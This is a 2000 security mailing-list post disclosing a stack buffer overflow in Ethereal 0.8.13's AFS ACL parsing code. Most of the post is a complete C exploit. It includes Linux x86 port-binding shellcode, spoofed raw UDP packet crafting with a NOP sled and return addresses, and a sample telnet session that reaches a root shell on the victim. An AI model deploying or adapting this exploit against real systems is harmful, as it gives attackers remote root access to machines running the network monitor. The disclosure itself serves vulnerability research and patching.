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[hacksware] Ethereal 0.8.13 AFS ACL parsing buffer overflow bug
From: JW Oh <mat () IVNTECH COM>
Date: Sat, 18 Nov 2000 21:36:32 +0900

   Bug Report

1. Name: Ethereal 0.8.13 AFS ACL parsing buffer overflow bug
2. Release Date: 2000.11.18
3. Affected Application:
 Ethereal 0.8.13(latest version)
 http://www.ethereal.com/
 ethereal-web () ethereal com
4. Author: mat () hacksware com
5. Type: Stack based buffer overflow
6. Explanation

 There exists buffer overflow in AFS packet parsing routine in ethereal 0.8.13.

In function dissect_acl,

packet-afs.c:1185
        char user[128];

packet-afs.c:1222
        for (i = 0; i < pos; i++) {
                if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)
                        return;
                s += n;
                ACLOUT(user,1,acl,n);
                curoffset += n;
                TRUNC(1);
        }

        for (i = 0; i < neg; i++) {
                if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)
                        return;
                s += n;
                ACLOUT(user,0,acl,n);
                curoffset += n;
                if (s > end)
                        return;
        }

 Buffer user can be overflowed with forged packet.

7. Exploits

/*
Name: Ethereal 0.8.13 AFS ACL buffer overflow exploit
Author:
 http://hacksware.com
 mat () hacksware com
 gcc -o sbo_ethereal sbo_ethereal.c
Usage:
 ./sbo_ethereal <dest_addr>
   dest_addr is the destination address of the host which traffic the victim host running ethereal program can monitor.

Greetz to: Mastrippolito,Trino,s3ung,gumpjin,w00we_mc2,jgotts,luciano,etc...

I used some network codes from synk4.c.
*/

#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

/*shell code from http://www.hack.co.za/c0de/linux-x86/portshell.c*/
/* port binding shell on 36864*/

/*
 *  Linux/x86
 *  TCP/36864 portshell (old, could be optimized further)
 */

char c0de[] =
/* main: */
"\xeb\x72"                                /* jmp callz               */
/* start: */
"\x5e"                                    /* popl %esi               */

  /* socket() */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
"\x40"                                    /* incl %eax               */
"\x89\xc3"                                /* movl %eax, %ebx         */
"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
"\x40"                                    /* incl %eax               */
"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */

  /* bind() */
"\x43"                                    /* incl %ebx               */
"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x89\xc2"                                /* movl %eax, %edx         */
"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
"\xb0\x90"                                /* movb $0x90, %al         */
"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */

  /* listen() */
"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
"\x43"                                    /* incl %ebx               */
"\x43"                                    /* incl %ebx               */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */

  /* accept() */
"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\x43"                                    /* incl %ebx               */
"\xcd\x80"                                /* int $0x80               */

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                                /* xchgb %al, %bl          */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x29\xc9"                                /* subl %ecx, %ecx         */
"\xcd\x80"                                /* int $0x80               */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x41"                                    /* incl %ecx               */
"\xcd\x80"                                /* int $0x80               */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x41"                                    /* incl %ecx               */
"\xcd\x80"                                /* int $0x80               */

  /* execve() */
"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
"\x87\xf3"                                /* xchgl %esi, %ebx        */
"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
"\xb0\x0b"                                /* movb $0x0b, %al         */
"\xcd\x80"                                /* int $0x80               */

/* callz: */
"\xe8\x89\xff\xff\xff"                    /* call start              */
"/bin/sh";

/*                    www.hack.co.za           [7 August 2000]*/
unsigned long getaddr (char *name)
{
  struct hostent *hep;

  hep = gethostbyname (name);
  if (!hep)
    {
      fprintf (stderr, "Unknown host %s\n", name);
      exit (1);
    }
  return *(unsigned long *) hep->h_addr;
}

unsigned short
ip_sum (u_short * addr, int len)
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  sum += (sum >> 16);           /* add carry */
  answer = ~sum;                /* truncate to 16 bits */
  return (answer);
}

void send_udp_segment (int raw_socket,struct iphdr *iphdr_p, struct udphdr *udphdr_p, char *data, int dlen)
{
  char buf[65536];
  struct
  {                             /* rfc 793 udp pseudo-header */
    unsigned long saddr, daddr;
    char mbz;
    char ptcl;
    unsigned short udpl;
  }
  ph;

  struct sockaddr_in sin;

  ph.saddr = iphdr_p->saddr;
  ph.daddr = iphdr_p->daddr;
  ph.mbz = 0;
  ph.ptcl = IPPROTO_TCP;
  ph.udpl = htons (sizeof (*udphdr_p) + dlen);

  memcpy (buf, &ph, sizeof (ph));
  memcpy (buf + sizeof (ph), udphdr_p, sizeof (*udphdr_p));
  memcpy (buf + sizeof (ph) + sizeof (*udphdr_p), data, dlen);
  memset (buf + sizeof (ph) + sizeof (*udphdr_p) + dlen, 0, 4);
  udphdr_p->check = ip_sum (buf, (sizeof (ph) + sizeof (*udphdr_p) + dlen + 1) & ~1);

  memcpy (buf, iphdr_p,4*iphdr_p->ihl);
  memcpy (buf + 4 * iphdr_p->ihl, udphdr_p, sizeof (*udphdr_p));
  memcpy (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p), data, dlen);
  memset (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, 4);

  iphdr_p->check = ip_sum (buf, (4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen + 1) & ~1);
  memcpy (buf, iphdr_p, 4 * iphdr_p->ihl);

  sin.sin_family = AF_INET;
  sin.sin_port = udphdr_p->dest;
  sin.sin_addr.s_addr = iphdr_p->daddr;

  if (sendto(raw_socket, buf, 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, &sin,sizeof (sin)) < 0)
    {
      printf ("Error sending syn packet.\n");
      perror ("");
      exit (1);
    }
}

unsigned long
send_udp_afs_data (int raw_socket,unsigned long src_addr, unsigned short src_port,
            unsigned long dst_addr, unsigned short dst_port)
{
  struct iphdr iphdr_d;
  struct udphdr udphdr_d;

  typedef unsigned int guint32;
  typedef unsigned short guint16;
/*header from ethereal*/
struct rx_header {
        guint32 epoch;
        guint32 cid;
        guint32 callNumber;
        guint32 seq;
        guint32 serial;
        u_char type;
#define RX_PACKET_TYPE_DATA             1
#define RX_PACKET_TYPE_ACK              2
#define RX_PACKET_TYPE_BUSY             3
#define RX_PACKET_TYPE_ABORT            4
#define RX_PACKET_TYPE_ACKALL           5
#define RX_PACKET_TYPE_CHALLENGE        6
#define RX_PACKET_TYPE_RESPONSE         7
#define RX_PACKET_TYPE_DEBUG            8
#define RX_PACKET_TYPE_PARAMS           9
#define RX_PACKET_TYPE_VERSION          13
        u_char flags;
#define RX_CLIENT_INITIATED 1
#define RX_REQUEST_ACK 2
#define RX_LAST_PACKET 4
#define RX_MORE_PACKETS 8
#define RX_FREE_PACKET 16
        u_char userStatus;
        u_char securityIndex;
        guint16 spare;                  /* How clever: even though the AFS */
        guint16 serviceId;              /* header files indicate that the */
};                                      /* serviceId is first, it's really */
                                        /* encoded _after_ the spare field */
                                        /* I wasted a day figuring that out! */
  struct rx_header rx_header_d;
  int afs_data_len;
  char *afs_data;
  int data_len;
  char *data_buffer;


  iphdr_d.version = 4;
  iphdr_d.ihl = 5;
  iphdr_d.tos = 0;
  iphdr_d.tot_len = sizeof (iphdr_d)+sizeof(udphdr_d);
  iphdr_d.id = htons(545);
  iphdr_d.frag_off = 0;
  iphdr_d.ttl = 90;
  iphdr_d.protocol = IPPROTO_UDP;
  iphdr_d.check = 0;
  iphdr_d.saddr = src_addr;
  iphdr_d.daddr = dst_addr;

  udphdr_d.source = htons (src_port);
  udphdr_d.dest = htons (dst_port);
  udphdr_d.len = 2;
  udphdr_d.check = 0;

  rx_header_d.epoch=htonl(0);
  rx_header_d.cid=htonl(1);
  rx_header_d.callNumber=htonl(2);
  rx_header_d.seq=htonl(3);
  rx_header_d.serial=htonl(4);

  rx_header_d.type=RX_PACKET_TYPE_DATA;
  rx_header_d.flags=RX_CLIENT_INITIATED;
  rx_header_d.userStatus=6;
  rx_header_d.securityIndex=7;
  rx_header_d.spare=htons(8);
  rx_header_d.serviceId=htons(9);

  {
#define DATA_SIZE 600 //Data portion size
   u_long datasize=htonl(DATA_SIZE);
   afs_data_len=4*5+DATA_SIZE;
   /*
     UINT opcode
     UINT volume
     UINT vnode
     UINT uniqifier
     UINT datasize

    data section
     pos(%d) neg (%d)
     pos times*( user(%s), &acl(%d))
     neg times*( user(%s), &acl(%d))
   */

   afs_data=(char *)calloc(1,afs_data_len);
   if(afs_data)
   {
    u_long opcode=htonl(134);
    int i;
    int cur_pos;
#define CODE_LEN 300
    char code_buf[CODE_LEN];
    unsigned long esp=0x81c6f02;
#define RET_ADDR_POS 150
    int offset=RET_ADDR_POS+20;

    for(i=0;i<=RET_ADDR_POS;i+=4)
       *(long *)&code_buf[i]=(unsigned long)esp+offset;
    memset(code_buf+RET_ADDR_POS,0x90,CODE_LEN-RET_ADDR_POS); //insert NOP CODES
    memcpy(code_buf+CODE_LEN-strlen(c0de),c0de,strlen(c0de));

    memcpy(afs_data,(char *)&opcode,sizeof(u_long));
    memcpy(afs_data+4*4,(char *)&datasize,sizeof(u_long));
    sprintf(afs_data+4*5,"%d %d %s %d",1,1,"hi",1);

    cur_pos=4*5+strlen(afs_data+4*5);
    memcpy(afs_data+cur_pos,code_buf,CODE_LEN);
    sprintf(afs_data+cur_pos+CODE_LEN," %d",1);

    data_len=sizeof(struct rx_header)+afs_data_len;
    data_buffer=(char *)calloc(1,data_len);
    if(data_buffer)
    {
     memcpy(data_buffer,(char *)&rx_header_d,sizeof(struct rx_header));
     memcpy(data_buffer+sizeof(struct rx_header),afs_data,afs_data_len);
     send_udp_segment (raw_socket,&iphdr_d,&udphdr_d,data_buffer,data_len);
     free(data_buffer);
    }
    free(afs_data);
   }
  }
}

main (int argc, char **argv)
{
  u_short src_port, dst_port;
  unsigned long src_addr, dst_addr;
  int raw_socket;

  if(argc<2)
  {
   printf("%s dst_addr\n",argv[0]);
   fflush(stdout);
   exit(1);
  }
  src_addr = getaddr ("1.1.1.1");
  dst_addr = getaddr (argv[1]);
  src_port = 10;
  dst_port = 7000;

  raw_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (raw_socket < 0)
    {
      perror ("socket (raw)");
      exit (1);
    }

  send_udp_afs_data (raw_socket,src_addr, src_port, dst_addr, dst_port);
}

/*
 If the attack was successful you can get in the system like this.
matt:~# telnet victim 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


*/

=================================================
|               mat () hacksware com               |
|             http://hacksware.com              |
=================================================


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